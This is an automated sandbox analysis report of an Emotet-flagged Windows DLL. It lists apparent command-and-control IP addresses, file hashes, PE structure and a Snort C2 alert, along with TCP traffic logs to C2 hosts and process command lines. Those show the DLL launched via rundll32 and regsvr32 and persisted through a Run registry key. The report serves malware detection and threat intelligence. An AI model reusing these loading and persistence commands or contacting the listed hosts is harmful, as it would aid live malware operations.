188.165.79.151	unknown	France	16276	OVHFR	true
196.44.98.190	unknown	Ghana	327814	EcobandGH	true
174.138.33.49	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
36.67.23.59	unknown	Indonesia	17974	TELKOMNET-AS2-APPTTelekomunikasiIndonesiaID	true
103.41.204.169	unknown	Indonesia	58397	INFINYS-AS-IDPTInfinysSystemIndonesiaID	true
85.214.67.203	unknown	Germany	6724	STRATOSTRATOAGDE	true
83.229.80.93	unknown	United Kingdom	8513	SKYVISIONGB	true
198.199.70.22	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
93.104.209.107	unknown	Germany	8767	MNET-ASGermanyDE	true
186.250.48.5	unknown	Brazil	262807	RedfoxTelecomunicacoesLtdaBR	true
209.239.112.82	unknown	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
175.126.176.79	unknown	Korea Republic of	9523	MOKWON-AS-KRMokwonUniversityKR	true
128.199.242.164	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	true
178.238.225.252	unknown	Germany	51167	CONTABODE	true
46.101.98.60	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
190.145.8.4	unknown	Colombia	14080	TelmexColombiaSACO	true
82.98.180.154	unknown	Spain	42612	DINAHOSTING-ASES	true
103.71.99.57	unknown	India	135682	AWDHPL-AS-INAdvikaWebDevelopmentsHostingPvtLtdIN	true
87.106.97.83	unknown	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
103.254.12.236	unknown	Viet Nam	56151	DIGISTAR-VNDigiStarCompanyLimitedVN	true
103.85.95.4	unknown	Indonesia	136077	IDNIC-UNSRAT-AS-IDUniversitasIslamNegeriMataramID	true
202.134.4.210	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	true
165.22.254.236	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
78.47.204.80	unknown	Germany	24940	HETZNER-ASDE	true
118.98.72.86	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	true
139.59.80.108	unknown	Singapore	14061	DIGITALOCEAN-ASNUS	true
104.244.79.94	unknown	United States	53667	PONYNETUS	true
37.44.244.177	unknown	Germany	47583	AS-HOSTINGERLT	true
51.75.33.122	unknown	France	16276	OVHFR	true
160.16.143.191	unknown	Japan	9370	SAKURA-BSAKURAInternetIncJP	true
103.56.149.105	unknown	Indonesia	55688	BEON-AS-IDPTBeonIntermediaID	true
85.25.120.45	unknown	Germany	8972	GD-EMEA-DC-SXB1DE	true
139.196.72.155	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	true
115.178.55.22	unknown	Indonesia	38783	SIMAYA-AS-IDPTSimayaJejaringMandiriID	true
103.126.216.86	unknown	Bangladesh	138482	SKYVIEW-AS-APSKYVIEWONLINELTDBD	true
128.199.217.206	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	true
114.79.130.68	unknown	India	45769	DVOIS-IND-VoisBroadbandPvtLtdIN	true
103.224.241.74	unknown	India	133296	WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	true
210.57.209.142	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
202.28.34.99	unknown	Thailand	9562	MSU-TH-APMahasarakhamUniversityTH	true
80.211.107.116	unknown	Italy	31034	ARUBA-ASNIT	true
54.37.228.122	unknown	France	16276	OVHFR	true
218.38.121.17	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
185.148.169.10	unknown	Germany	44780	EVERSCALE-ASDE	true
195.77.239.39	unknown	Spain	60493	FICOSA-ASES	true
178.62.112.199	unknown	European Union	14061	DIGITALOCEAN-ASNUS	true
62.171.178.147	unknown	United Kingdom	51167	CONTABODE	true
64.227.55.231	unknown	United States	14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	745057
Start date and time:	2022-11-13 18:45:49 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DVvzRulsoR.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.evad.winDLL@21/0@0/49
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 58.7% (good quality ratio 52.4%) Quality average: 60.1% Quality standard deviation: 32.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 55 Number of non-executed functions: 170
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
18:47:47	Autostart	Run: HKLM64\Software\Microsoft\Windows\CurrentVersion\Run HkJOPwKLEPOb.dll C:\Windows\system32\regsvr32.exe "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll"

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
172.105.115.71	jYzNEOocXJ.dll	Get hash	malicious	Browse
	DVvzRulsoR.dll	Get hash	malicious	Browse
	BiiRGnhWx8.dll	Get hash	malicious	Browse
	jYzNEOocXJ.dll	Get hash	malicious	Browse
	BiiRGnhWx8.dll	Get hash	malicious	Browse
	gdazhx1EIP.dll	Get hash	malicious	Browse
	UNUy8dUYWp.dll	Get hash	malicious	Browse
	gdazhx1EIP.dll	Get hash	malicious	Browse
	UNUy8dUYWp.dll	Get hash	malicious	Browse
	3sbn8ZI5nn.dll	Get hash	malicious	Browse
	3sbn8ZI5nn.dll	Get hash	malicious	Browse
	zzkCIdCoDt.dll	Get hash	malicious	Browse
	zzkCIdCoDt.dll	Get hash	malicious	Browse
	U9M1w8FHBW.dll	Get hash	malicious	Browse
	En3ZIyuYdw.dll	Get hash	malicious	Browse
	Kjx74pqege.dll	Get hash	malicious	Browse
	U9M1w8FHBW.dll	Get hash	malicious	Browse
	En3ZIyuYdw.dll	Get hash	malicious	Browse
	Kjx74pqege.dll	Get hash	malicious	Browse
	mqMIxHWdwe.dll	Get hash	malicious	Browse
188.165.79.151	jYzNEOocXJ.dll	Get hash	malicious	Browse
	DVvzRulsoR.dll	Get hash	malicious	Browse
	BiiRGnhWx8.dll	Get hash	malicious	Browse
	jYzNEOocXJ.dll	Get hash	malicious	Browse
	BiiRGnhWx8.dll	Get hash	malicious	Browse
	gdazhx1EIP.dll	Get hash	malicious	Browse
	UNUy8dUYWp.dll	Get hash	malicious	Browse
	gdazhx1EIP.dll	Get hash	malicious	Browse
	UNUy8dUYWp.dll	Get hash	malicious	Browse
	3sbn8ZI5nn.dll	Get hash	malicious	Browse
	3sbn8ZI5nn.dll	Get hash	malicious	Browse
	zzkCIdCoDt.dll	Get hash	malicious	Browse
	zzkCIdCoDt.dll	Get hash	malicious	Browse
	U9M1w8FHBW.dll	Get hash	malicious	Browse
	En3ZIyuYdw.dll	Get hash	malicious	Browse
	Kjx74pqege.dll	Get hash	malicious	Browse
	U9M1w8FHBW.dll	Get hash	malicious	Browse
	Kjx74pqege.dll	Get hash	malicious	Browse
	mqMIxHWdwe.dll	Get hash	malicious	Browse
	i590SBAZAI.dll	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LINODE-APLinodeLLCUS	jYzNEOocXJ.dll	Get hash	malicious	Browse	172.105.115.71
	DVvzRulsoR.dll	Get hash	malicious	Browse	172.105.115.71
	BiiRGnhWx8.dll	Get hash	malicious	Browse	172.105.115.71
	jYzNEOocXJ.dll	Get hash	malicious	Browse	172.105.115.71
	BiiRGnhWx8.dll	Get hash	malicious	Browse	172.105.115.71
	gdazhx1EIP.dll	Get hash	malicious	Browse	172.105.115.71
	UNUy8dUYWp.dll	Get hash	malicious	Browse	172.105.115.71
	gdazhx1EIP.dll	Get hash	malicious	Browse	172.105.115.71
	UNUy8dUYWp.dll	Get hash	malicious	Browse	172.105.115.71
	3sbn8ZI5nn.dll	Get hash	malicious	Browse	172.105.115.71
	3sbn8ZI5nn.dll	Get hash	malicious	Browse	172.105.115.71
	zzkCIdCoDt.dll	Get hash	malicious	Browse	172.105.115.71
	zzkCIdCoDt.dll	Get hash	malicious	Browse	172.105.115.71
	U9M1w8FHBW.dll	Get hash	malicious	Browse	172.105.115.71
	En3ZIyuYdw.dll	Get hash	malicious	Browse	172.105.115.71
	Kjx74pqege.dll	Get hash	malicious	Browse	172.105.115.71
	U9M1w8FHBW.dll	Get hash	malicious	Browse	172.105.115.71
	En3ZIyuYdw.dll	Get hash	malicious	Browse	172.105.115.71
	Kjx74pqege.dll	Get hash	malicious	Browse	172.105.115.71
	mqMIxHWdwe.dll	Get hash	malicious	Browse	172.105.115.71
OVHFR	jYzNEOocXJ.dll	Get hash	malicious	Browse	54.37.228.122
	DVvzRulsoR.dll	Get hash	malicious	Browse	54.37.228.122
	file.exe	Get hash	malicious	Browse	5.135.247.111
	BiiRGnhWx8.dll	Get hash	malicious	Browse	54.37.228.122
	jYzNEOocXJ.dll	Get hash	malicious	Browse	54.37.228.122
	BiiRGnhWx8.dll	Get hash	malicious	Browse	54.37.228.122
	gdazhx1EIP.dll	Get hash	malicious	Browse	54.37.228.122
	UNUy8dUYWp.dll	Get hash	malicious	Browse	54.37.228.122
	gdazhx1EIP.dll	Get hash	malicious	Browse	54.37.228.122
	UNUy8dUYWp.dll	Get hash	malicious	Browse	54.37.228.122
	3sbn8ZI5nn.dll	Get hash	malicious	Browse	54.37.228.122
	3sbn8ZI5nn.dll	Get hash	malicious	Browse	54.37.228.122
	zzkCIdCoDt.dll	Get hash	malicious	Browse	54.37.228.122
	zzkCIdCoDt.dll	Get hash	malicious	Browse	54.37.228.122
	file.exe	Get hash	malicious	Browse	5.135.247.111
	U9M1w8FHBW.dll	Get hash	malicious	Browse	54.37.228.122
	En3ZIyuYdw.dll	Get hash	malicious	Browse	54.37.228.122
	Kjx74pqege.dll	Get hash	malicious	Browse	54.37.228.122
	U9M1w8FHBW.dll	Get hash	malicious	Browse	54.37.228.122
	Kjx74pqege.dll	Get hash	malicious	Browse	54.37.228.122

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Entropy (8bit):	6.619182779595571
TrID:	Win64 Dynamic Link Library (generic) (102004/3) 86.43% Win64 Executable (generic) (12005/4) 10.17% Generic Win/DOS Executable (2004/3) 1.70% DOS Executable Generic (2002/1) 1.70% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.01%
File name:	DVvzRulsoR.dll
File size:	528896
MD5:	c9d4c1c3f8729727c29e257f612e019f
SHA1:	15dd4aedf9f79cabbc8c0b057f6a0f9437c9ede7
SHA256:	030eb0fa76d1329d836619c55778968fc664186642fbb16df30ec1be10396fc9
SHA512:	97e3634807165add820a1c912c1700844db9f049e80b3ca7c1bfccd3724742c910050e95cd4da67e98679287d4a143db6d1688ef9faf220f1f13c29cdfcfc746
SSDEEP:	6144:mW1239bnTe+0Qv7NSEBj43USaI6Y/jOpxHRikSYI+QALgIJ1divndEXcn:mW1e9PeexPBjvKSpuvYI+TLgs1dcEXc
TLSH:	E0B4F829A59E76F0C951A1F5A0420B1595F33C88FEF68EAF03502F296F6F24425F768C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................$...s...$...............................$.......$...............`.......`.......e.h.....`.......Rich...........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x1800044e0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x636D6724 [Thu Nov 10 21:03:32 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	81146e0614ccc4eb7174ad2ad695dedb

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007F2B24F6D1D7h
call 00007F2B24F6D768h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007F2B24F6D04Ch
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [00033F0Dh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]
call 00007F2B24F6F9D1h
dec eax
lea eax, dword ptr [00033F1Dh]
dec eax
mov dword ptr [ebx], eax
dec eax
mov eax, ebx
dec eax
add esp, 20h
pop ebx
ret
int3
xor eax, eax
dec eax
mov dword ptr [ecx+10h], eax
dec eax
lea eax, dword ptr [00033F13h]
dec eax
mov dword ptr [ecx+08h], eax
dec eax
lea eax, dword ptr [00033EF8h]
dec eax
mov dword ptr [ecx], eax
dec eax
mov eax, ecx
ret
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
dec eax
mov eax, edx
dec eax
lea ecx, dword ptr [00033EADh]
dec eax
mov dword ptr [ebx], ecx
dec eax
lea edx, dword ptr [ebx+08h]
xor ecx, ecx
dec eax
mov dword ptr [edx], ecx
dec eax
mov dword ptr [edx+08h], ecx
dec eax
lea ecx, dword ptr [eax+08h]

Rich Headers

Programming Language:

[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x7cda0	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7cdf8	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x87000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x82000	0x192c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x88000	0x66c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x7a410	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7a430	0x94	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x38000	0x370	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x36fd5	0x37000	False	0.38967507102272725	data	5.930785005703424	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x38000	0x4597a	0x45a00	False	0.670532007405745	data	6.275631514515963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x7e000	0x3394	0xc00	False	0.18294270833333334	DOS executable (block device driver \337-\231+])	2.573523630872546	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x82000	0x192c	0x1a00	False	0.4794170673076923	data	5.1711441720039435	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gfids	0x84000	0xdc	0x200	False	0.244140625	Spectrum .TAP data "6 " - BASIC program	1.1531659578770692	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gxfg	0x85000	0x1000	0x1000	False	0.44091796875	data	5.088628746947821	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.gehcont	0x86000	0xc	0x200	False	0.0390625	data	0.06116285224115448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x87000	0x1e0	0x200	False	0.52734375	data	4.724728911998389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x88000	0x66c	0x800	False	0.537109375	data	4.9054360857170005	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x87060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetConsoleMode, GetConsoleOutputCP, WriteFile, FlushFileBuffers, SetStdHandle, HeapReAlloc, HeapSize, SetFilePointerEx, ExitProcess, GetStdHandle, GetProcessHeap, CreateFileW, CloseHandle, GetStringTypeW, LCMapStringW, GetFileType, VirtualAlloc, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, EncodePointer, RaiseException, RtlUnwindEx, InterlockedFlushSList, GetLastError, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetModuleHandleExW, GetModuleFileNameW, HeapFree, HeapAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, WriteConsoleW
USER32.dll	EndPaint, BeginPaint, InvalidateRect, GetMessageW, DefWindowProcW, CloseTouchInputHandle, GetTouchInputInfo, DestroyWindow, MessageBoxW, CreateWindowExW, RegisterClassExW, LoadStringW, ShowWindow, DispatchMessageW, RegisterTouchWindow, MessageBoxA, UnregisterTouchWindow, TranslateAcceleratorW, TranslateMessage, LoadCursorW, PostQuitMessage, UpdateWindow
GDI32.dll	Polyline, LineTo, CreatePen, MoveToEx, DeleteObject, SelectObject
ole32.dll	CoUninitialize, CoCreateInstance, CoInitialize
CRYPT32.dll	CryptStringToBinaryA

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x180013f70

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.5115.178.55.2249707802404304 11/13/22-18:35:31.861704	TCP	2404304	ET CNC Feodo Tracker Reported CnC Server TCP group 3	49707	80	192.168.2.5	115.178.55.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 13, 2022 18:47:32.352852106 CET	49709	80	192.168.2.7	115.178.55.22
Nov 13, 2022 18:47:32.633076906 CET	80	49709	115.178.55.22	192.168.2.7
Nov 13, 2022 18:47:33.140176058 CET	49709	80	192.168.2.7	115.178.55.22
Nov 13, 2022 18:47:33.420232058 CET	80	49709	115.178.55.22	192.168.2.7
Nov 13, 2022 18:47:33.921452045 CET	49709	80	192.168.2.7	115.178.55.22
Nov 13, 2022 18:47:34.201766014 CET	80	49709	115.178.55.22	192.168.2.7
Nov 13, 2022 18:47:39.584522009 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:39.751322985 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:39.751471996 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:39.759213924 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:39.925875902 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:39.943115950 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:39.943159103 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:39.943325996 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:39.969841957 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:40.138241053 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:40.139411926 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:40.187603951 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:43.762432098 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:43.762502909 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:43.929101944 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:43.929122925 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:44.552489042 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:44.594284058 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:47.565771103 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:47.565814972 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:47.566021919 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:47.570466042 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:47.570558071 CET	49713	8080	192.168.2.7	172.105.115.71
Nov 13, 2022 18:47:47.737095118 CET	8080	49713	172.105.115.71	192.168.2.7
Nov 13, 2022 18:47:47.737131119 CET	8080	49713	172.105.115.71	192.168.2.7

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll64.exePID: 1204, Parent PID: 3320

General

Target ID:	0
Start time:	18:46:45
Start date:	13/11/2022
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\DVvzRulsoR.dll"
Imagebase:	0x7ff701620000
File size:	139776 bytes
MD5 hash:	C676FC0263EDD17D4CE7D644B8F3FCD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.263381284.0000027280100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 732, Parent PID: 1204

General

Target ID:	1
Start time:	18:46:46
Start date:	13/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6edaf0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4120, Parent PID: 1204

General

Target ID:	2
Start time:	18:46:46
Start date:	13/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1
Imagebase:	0x7ff7651b0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 3156, Parent PID: 1204

General

Target ID:	3
Start time:	18:46:46
Start date:	13/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\DVvzRulsoR.dll
Imagebase:	0x7ff60e0a0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.256329327.0000000000660000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.256727170.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3872, Parent PID: 4120

General

Target ID:	4
Start time:	18:46:46
Start date:	13/11/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\DVvzRulsoR.dll",#1
Imagebase:	0x7ff74c340000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.253841528.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.254773052.0000020F1C530000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 2860, Parent PID: 1204

General

Target ID:	5
Start time:	18:46:46
Start date:	13/11/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\DVvzRulsoR.dll,DllRegisterServer
Imagebase:	0x7ff74c340000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.254964190.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.256651400.0000015728870000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1768, Parent PID: 3872

General

Target ID:	6
Start time:	18:46:50
Start date:	13/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\BBtfDITJMLhY\HkJOPwKLEPOb.dll"
Imagebase:	0x7ff60e0a0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.638288631.0000000000AB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.639586735.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1432, Parent PID: 2860

General

Target ID:	7
Start time:	18:46:51
Start date:	13/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LvIwYhCVKH\jtinUyBvITUVMo.dll"
Imagebase:	0x7ff60e0a0000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
